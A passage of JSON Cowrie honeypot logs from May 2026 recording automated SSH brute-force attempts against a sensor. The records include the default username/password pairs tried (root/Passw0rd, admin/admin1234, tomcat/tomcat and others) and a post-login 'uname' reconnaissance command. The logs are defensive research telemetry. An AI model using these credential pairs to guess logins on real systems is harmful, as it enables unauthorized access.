-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:34.791253Z","src_ip":"176.65.132.129","session":"8346ab509ecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:35.037154Z","src_ip":"176.65.132.129","session":"8346ab509ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:36.122402Z","src_ip":"176.65.132.129","session":"8346ab509ecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37306,"dst_ip":"159.203.135.109","dst_port":22,"session":"0483605d8e65","protocol":"ssh","message":"New connection: 176.65.132.129:37306 (159.203.135.109:22) [session: 0483605d8e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:38.047686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:38.051863Z","src_ip":"176.65.132.129","session":"0483605d8e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:38.133455Z","src_ip":"176.65.132.129","session":"0483605d8e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:38.378542Z","src_ip":"176.65.132.129","session":"0483605d8e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40718,"dst_ip":"10.17.0.5","dst_port":23,"session":"39da997cd066","protocol":"telnet","message":"New connection: 45.58.127.90:40718 (10.17.0.5:23) [session: 39da997cd066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:38.899645Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:39.463121Z","src_ip":"176.65.132.129","session":"0483605d8e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4be7c19ea2e6","protocol":"ssh","message":"New connection: 172.237.20.62:53130 (159.203.135.109:22) [session: 4be7c19ea2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:40.710214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:40.718451Z","src_ip":"172.237.20.62","session":"4be7c19ea2e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:40.877936Z","src_ip":"172.237.20.62","session":"4be7c19ea2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.322920083999634,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.222474Z","src_ip":"45.58.127.90","session":"39da997cd066","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.353864Z","src_ip":"172.237.20.62","session":"4be7c19ea2e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37332,"dst_ip":"159.203.135.109","dst_port":22,"session":"90e4b31c1f0b","protocol":"ssh","message":"New connection: 176.65.132.129:37332 (159.203.135.109:22) [session: 90e4b31c1f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.581491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.585052Z","src_ip":"176.65.132.129","session":"90e4b31c1f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.666569Z","src_ip":"176.65.132.129","session":"90e4b31c1f0b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.762882Z","src_ip":"172.237.20.62","session":"4be7c19ea2e6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.766435Z","src_ip":"172.237.20.62","session":"4be7c19ea2e6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.929408Z","src_ip":"172.237.20.62","session":"4be7c19ea2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:41.935023Z","src_ip":"172.237.20.62","session":"4be7c19ea2e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:42.021857Z","src_ip":"176.65.132.129","session":"90e4b31c1f0b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:42.217790Z","src_ip":"176.65.132.129","session":"90e4b31c1f0b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:42.221515Z","src_ip":"176.65.132.129","session":"90e4b31c1f0b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:42.304763Z","src_ip":"176.65.132.129","session":"90e4b31c1f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:42.309486Z","src_ip":"176.65.132.129","session":"90e4b31c1f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37342,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1bfd6eefcd7","protocol":"ssh","message":"New connection: 176.65.132.129:37342 (159.203.135.109:22) [session: c1bfd6eefcd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:44.962669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:44.968130Z","src_ip":"176.65.132.129","session":"c1bfd6eefcd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:45.049995Z","src_ip":"176.65.132.129","session":"c1bfd6eefcd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:45.300203Z","src_ip":"176.65.132.129","session":"c1bfd6eefcd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:46.385115Z","src_ip":"176.65.132.129","session":"c1bfd6eefcd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39342,"dst_ip":"159.203.135.109","dst_port":22,"session":"167c54d8c309","protocol":"ssh","message":"New connection: 176.65.132.129:39342 (159.203.135.109:22) [session: 167c54d8c309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:48.528831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:48.534110Z","src_ip":"176.65.132.129","session":"167c54d8c309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:48.619755Z","src_ip":"176.65.132.129","session":"167c54d8c309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:48.864748Z","src_ip":"176.65.132.129","session":"167c54d8c309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:49.949013Z","src_ip":"176.65.132.129","session":"167c54d8c309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39376,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa75b6c80dd","protocol":"ssh","message":"New connection: 176.65.132.129:39376 (159.203.135.109:22) [session: faa75b6c80dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:51.952489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:51.957393Z","src_ip":"176.65.132.129","session":"faa75b6c80dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:52.041034Z","src_ip":"176.65.132.129","session":"faa75b6c80dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51306,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8641cf783c2","protocol":"ssh","message":"New connection: 172.237.20.62:51306 (159.203.135.109:22) [session: c8641cf783c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:52.048270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:52.052337Z","src_ip":"172.237.20.62","session":"c8641cf783c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:52.211977Z","src_ip":"172.237.20.62","session":"c8641cf783c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:52.293004Z","src_ip":"176.65.132.129","session":"faa75b6c80dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:52.688797Z","src_ip":"172.237.20.62","session":"c8641cf783c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:53.456011Z","src_ip":"176.65.132.129","session":"faa75b6c80dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:53.850586Z","src_ip":"172.237.20.62","session":"c8641cf783c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39408,"dst_ip":"159.203.135.109","dst_port":22,"session":"70f5af3931f7","protocol":"ssh","message":"New connection: 176.65.132.129:39408 (159.203.135.109:22) [session: 70f5af3931f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:55.365223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:55.371160Z","src_ip":"176.65.132.129","session":"70f5af3931f7","protocol":"ssh"}
